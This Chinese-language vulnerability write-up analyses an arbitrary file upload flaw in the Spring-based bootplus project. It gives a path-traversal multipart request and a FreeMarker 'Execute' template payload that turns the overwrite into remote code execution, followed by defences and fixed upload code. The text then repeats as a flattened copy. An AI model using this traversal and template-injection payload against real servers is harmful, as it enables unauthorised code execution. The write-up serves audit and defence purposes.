Spring 框架文件上传getshell思路扩展
字数 1236 2025-08-29 08:30:13

Spring框架文件上传漏洞分析与利用扩展

漏洞概述

本文详细分析Spring框架中文件上传功能的安全风险,特别是如何通过文件上传漏洞实现getshell的技术思路。文章将涵盖漏洞原理、利用方法、防御措施等内容。

漏洞发现

在审计bootplus项目时发现一个任意文件上传漏洞(GitHub issue #24),该漏洞允许攻击者上传任意文件到服务器指定位置。

漏洞代码分析

漏洞出现在以下文件上传接口:

@ResponseBody
@RequestMapping(value = "/upload", method = RequestMethod.POST)
public R upload(Integer uploadType, HttpServletRequest request) throws Exception {
    MultipartHttpServletRequest multipartRequest;
    if (ServletFileUpload.isMultipartContent(request)) {
        multipartRequest = (MultipartHttpServletRequest) request;
    } else {
        return R.error("请先选择上传的文件");
    }
    
    String fileContextPath = null;
    Iterator<String> ite = multipartRequest.getFileNames();
    while (ite.hasNext()) {
        MultipartFile file = multipartRequest.getFile(ite.next());
        if (file == null) {
            return R.error("上传文件为空");
        }
        
        String fileName = file.getOriginalFilename();
        logger.info("上传的文件原名称:{}", fileName);
        
        String fileType = fileName.indexOf(".") != -1
                ? fileName.substring(fileName.lastIndexOf(".") + 1) : null;
        logger.info("上传文件类型:{}", StringUtils.defaultString(fileType));
        
        String trueFileName = getTrueFileName(fileName, uploadType);
        fileContextPath = FileUtils.generateFileUrl(
                MyWebAppConfigurer.FILE_UPLOAD_PATH_EXT, trueFileName);
        
        String uploadPath = FileUtils.generateFileUrl(
                applicationProperties.getFileConfig().getUploadPath(), trueFileName);
        logger.debug("存放文件的路径:{}", uploadPath);
        
        File fileUpload = FileUtils.getFile(uploadPath);
        FileUtils.forceMkdirParent(fileUpload);
        file.transferTo(fileUpload);
        fileHandle(fileUpload);
        break;
    }
    return R.ok().put("filePath", fileContextPath);
}

主要问题点

  1. 未校验文件类型:代码虽然获取了文件扩展名,但未进行任何白名单校验
  2. 目录穿越风险:直接使用用户提供的文件名构造路径,未过滤../等路径穿越字符
  3. 未限制文件内容:对上传文件内容未做任何校验

漏洞利用

基本利用方法

  1. 构造包含路径穿越字符的文件名(如../../../1.txt
  2. 上传文件到任意可写目录

示例HTTP请求:

POST /file/upload HTTP/1.1
Host: 127.0.0.1:7878
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNRCAxJ6FTDUcBwrC

------WebKitFormBoundaryNRCAxJ6FTDUcBwrC
Content-Disposition: form-data; name="file"; filename="../../../1.txt"
Content-Type: application/octet-stream

aaaaa
------WebKitFormBoundaryNRCAxJ6FTDUcBwrC--

高级利用 - 覆盖模板文件实现RCE

由于Spring项目默认不解析JSP,传统上传JSP马的方法无效。但可以通过覆盖模板文件实现RCE:

  1. 识别模板引擎:目标系统使用FreeMarker模板引擎
  2. 定位模板文件:模板文件位于src/main/resources/templates/
  3. 构造恶意模板:覆盖原有模板文件,插入FreeMarker命令执行代码

FreeMarker命令执行原理

FreeMarker支持通过?new实例化某些Java类,特别是freemarker.template.utility.Execute类可用于执行系统命令。

示例恶意模板内容:

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("calc") }

利用步骤

  1. 上传覆盖模板文件
  2. 访问不存在的路由触发错误页面,执行模板中的恶意代码

利用条件与限制

  1. JAR包部署:如果项目以JAR包形式运行,修改classpath:/templates/中的模板不会生效,因为JAR包中的资源是只读的
  2. WAR包部署:如果是WAR包部署到Tomcat,则可以直接上传JSP文件,无需覆盖模板
  3. 文件权限:需要目标目录有写入权限

防御措施

  1. 文件名过滤

    • 过滤../等路径穿越字符
    • 使用白名单限制文件扩展名
  2. 文件内容校验

    • 校验文件头与扩展名是否匹配
    • 对图片等文件进行重采样处理
  3. 存储安全

    • 将上传文件存储在Web根目录外
    • 使用随机文件名,不保留原始文件名
  4. 权限控制

    • 限制上传目录的权限
    • 对上传功能进行身份验证
  5. 框架配置

    • 禁用FreeMarker的危险功能:freemarker.template.utility.Execute

修复代码示例

@ResponseBody
@RequestMapping(value = "/upload", method = RequestMethod.POST)
public R upload(Integer uploadType, HttpServletRequest request) throws Exception {
    // 验证是否为multipart请求
    if (!ServletFileUpload.isMultipartContent(request)) {
        return R.error("请先选择上传的文件");
    }
    
    MultipartHttpServletRequest multipartRequest = (MultipartHttpServletRequest) request;
    String fileContextPath = null;
    
    // 只处理第一个文件
    MultipartFile file = multipartRequest.getFile(multipartRequest.getFileNames().next());
    if (file == null || file.isEmpty()) {
        return R.error("上传文件为空");
    }
    
    // 获取安全的文件名
    String fileName = getSafeFileName(file.getOriginalFilename());
    
    // 验证文件扩展名
    if (!isAllowedExtension(fileName)) {
        return R.error("不允许的文件类型");
    }
    
    // 生成随机存储文件名
    String storageName = UUID.randomUUID().toString() + getExtension(fileName);
    String uploadPath = applicationProperties.getFileConfig().getUploadPath() + File.separator + storageName;
    
    try {
        // 创建父目录
        File destFile = new File(uploadPath);
        File parent = destFile.getParentFile();
        if (!parent.exists()) {
            parent.mkdirs();
        }
        
        // 传输文件
        file.transferTo(destFile);
        
        // 返回相对路径
        fileContextPath = "/uploads/" + storageName;
        return R.ok().put("filePath", fileContextPath);
    } catch (IOException e) {
        return R.error("文件上传失败");
    }
}

// 安全文件名处理
private String getSafeFileName(String fileName) {
    if (fileName == null) return "file";
    // 移除路径信息
    fileName = fileName.substring(fileName.lastIndexOf('/') + 1);
    fileName = fileName.substring(fileName.lastIndexOf('\\') + 1);
    // 替换特殊字符
    return fileName.replaceAll("[^a-zA-Z0-9\\.\\-]", "_");
}

// 扩展名白名单
private boolean isAllowedExtension(String fileName) {
    String[] allowed = {"jpg", "png", "gif", "pdf", "txt"};
    String ext = getExtension(fileName).toLowerCase();
    for (String a : allowed) {
        if (a.equals(ext)) {
            return true;
        }
    }
    return false;
}

private String getExtension(String fileName) {
    int dot = fileName.lastIndexOf('.');
    return (dot == -1) ? "" : fileName.substring(dot + 1);
}

总结

Spring框架文件上传功能如果实现不当,可能导致严重的安全问题。通过本文分析,我们了解到:

  1. 简单的文件上传漏洞可能被扩展为RCE
  2. 模板覆盖是一种有效的getshell方法,但受部署方式限制
  3. 防御需要从文件名处理、内容校验、存储位置等多方面入手

开发人员应始终遵循最小权限原则,对用户上传内容保持高度警惕,实施多层防御措施来保护系统安全。

Spring框架文件上传漏洞分析与利用扩展 漏洞概述 本文详细分析Spring框架中文件上传功能的安全风险,特别是如何通过文件上传漏洞实现getshell的技术思路。文章将涵盖漏洞原理、利用方法、防御措施等内容。 漏洞发现 在审计bootplus项目时发现一个任意文件上传漏洞(GitHub issue #24),该漏洞允许攻击者上传任意文件到服务器指定位置。 漏洞代码分析 漏洞出现在以下文件上传接口: 主要问题点 未校验文件类型 :代码虽然获取了文件扩展名,但未进行任何白名单校验 目录穿越风险 :直接使用用户提供的文件名构造路径,未过滤 ../ 等路径穿越字符 未限制文件内容 :对上传文件内容未做任何校验 漏洞利用 基本利用方法 构造包含路径穿越字符的文件名(如 ../../../1.txt ) 上传文件到任意可写目录 示例HTTP请求: 高级利用 - 覆盖模板文件实现RCE 由于Spring项目默认不解析JSP,传统上传JSP马的方法无效。但可以通过覆盖模板文件实现RCE: 识别模板引擎 :目标系统使用FreeMarker模板引擎 定位模板文件 :模板文件位于 src/main/resources/templates/ 构造恶意模板 :覆盖原有模板文件,插入FreeMarker命令执行代码 FreeMarker命令执行原理 FreeMarker支持通过 ?new 实例化某些Java类,特别是 freemarker.template.utility.Execute 类可用于执行系统命令。 示例恶意模板内容: 利用步骤 上传覆盖模板文件 访问不存在的路由触发错误页面,执行模板中的恶意代码 利用条件与限制 JAR包部署 :如果项目以JAR包形式运行,修改 classpath:/templates/ 中的模板不会生效,因为JAR包中的资源是只读的 WAR包部署 :如果是WAR包部署到Tomcat,则可以直接上传JSP文件,无需覆盖模板 文件权限 :需要目标目录有写入权限 防御措施 文件名过滤 : 过滤 ../ 等路径穿越字符 使用白名单限制文件扩展名 文件内容校验 : 校验文件头与扩展名是否匹配 对图片等文件进行重采样处理 存储安全 : 将上传文件存储在Web根目录外 使用随机文件名,不保留原始文件名 权限控制 : 限制上传目录的权限 对上传功能进行身份验证 框架配置 : 禁用FreeMarker的危险功能: freemarker.template.utility.Execute 修复代码示例 总结 Spring框架文件上传功能如果实现不当,可能导致严重的安全问题。通过本文分析,我们了解到: 简单的文件上传漏洞可能被扩展为RCE 模板覆盖是一种有效的getshell方法,但受部署方式限制 防御需要从文件名处理、内容校验、存储位置等多方面入手 开发人员应始终遵循最小权限原则,对用户上传内容保持高度警惕,实施多层防御措施来保护系统安全。